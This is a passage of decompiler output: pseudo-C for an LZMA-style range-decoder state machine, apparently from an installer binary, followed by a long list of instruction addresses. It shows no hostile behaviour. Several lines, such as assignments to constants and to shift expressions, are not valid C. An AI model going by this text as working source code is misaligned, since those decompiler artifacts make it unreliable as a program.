												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406591
0x00406591
0x00406595
0x004065a2
0x004065ac
0x00000000
0x00406597
0x00406597
0x004065d2
0x004065d5
0x004065d8
0x004065db
0x004065db
0x004065de
0x004065e5
0x004065ea
0x004064cb
0x004064ce
0x00406840
0x00406840
0x00406840
0x00406843
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00406891
0x00406895
0x00406a44
0x00406a5a
0x00406a62
0x00406a69
0x00406a6b
0x00406a72
0x00406a76
0x00406a76
0x004068a1
0x004068a8
0x004068b0
0x004068b3
0x004068b6
0x004068b6
0x004068bc
0x004068bc
0x00406058
0x00406058
0x00406058
0x00406061
0x00000000
0x00000000
0x00406067
0x00000000
0x00406072
0x00000000
0x00000000
0x0040607b
0x0040607e
0x00406081
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060d1
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x00000000
0x004069c3
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00406840
0x00406840
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x00000000
0x004069d2
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061d4
0x004061d6
0x004061d9
0x0040624a
0x0040624d
0x00406250
0x00406257
0x00406261
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x004061db
0x004061df
0x004061e2
0x004061e4
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x004061fc
0x00406200
0x00406207
0x0040620a
0x00406211
0x00406215
0x0040621d
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406221
0x00406224
0x00406242
0x00406244
0x00000000
0x00406226
0x00406226
0x00406229
0x0040622c
0x0040622f
0x00406231
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x00000000
0x0040623d
0x00000000
0x00406473
0x00406477
0x00406495
0x00406498
0x0040649f
0x004064a2
0x004064a5
0x004064a8
0x004064ab
0x004064ae
0x004064b0
0x004064b7
0x004064b8
0x004064ba
0x004064bd
0x004064c0
0x004064c3
0x004064c3
0x004064c8
0x00000000
0x004064c8
0x00406479
0x0040647c
0x0040647f
0x00406489
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00000000
0x004064dd
0x004064e1
0x00406504
0x00406507
0x0040650a
0x00406514
0x004064e3
0x004064e3
0x004064e6
0x004064e9
0x004064ec
0x004064f9
0x004064fc
0x004064fc
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00000000
0x00406520
0x00406524
0x00000000
0x00000000
0x0040652a
0x0040652e
0x00000000
0x00000000
0x00406534
0x00406536
0x0040653a
0x0040653a
0x0040653d
0x00406541
0x00000000
0x00000000
0x00000000
0x00000000
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x0040626d
0x0040626d
0x00406271
0x004069de
0x00000000
0x004069de
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628c
0x0040628f
0x00406292
0x00406292
0x00406295
0x00406298
0x00000000
0x00000000
0x0040629e
0x004062a4
0x00000000
0x00000000
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d5
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x00406308
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406311
0x00406318
0x0040631b
0x00000000
0x00406321
0x00000000
0x00406321
0x00000000
0x00406326
0x00406326
0x0040632a
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406345
0x00406348
0x0040634b
0x0040634b
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x0040636e
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x00406399
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x0040639e
0x004063a5
0x004063a8
0x00000000
0x004063aa
0x00000000
0x004063aa
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063af
0x00000000
0x00000000
0x004063ea
0x004063ea
0x004063ee
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x00406409
0x0040640c
0x0040640f
0x0040640f
0x00406415
0x004063b3
0x004063b3
0x004063b6
0x00000000
0x004063b6
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406432
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645d
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406462
0x00406469
0x0040646c
0x00000000
0x0040646e
0x00000000
0x0040646e
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040680a
0x0040680e
0x00406830
0x00406833
0x0040683d
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00000000
0x004068fe
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069bb
0x004068bc
0x00000000
0x00000000
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
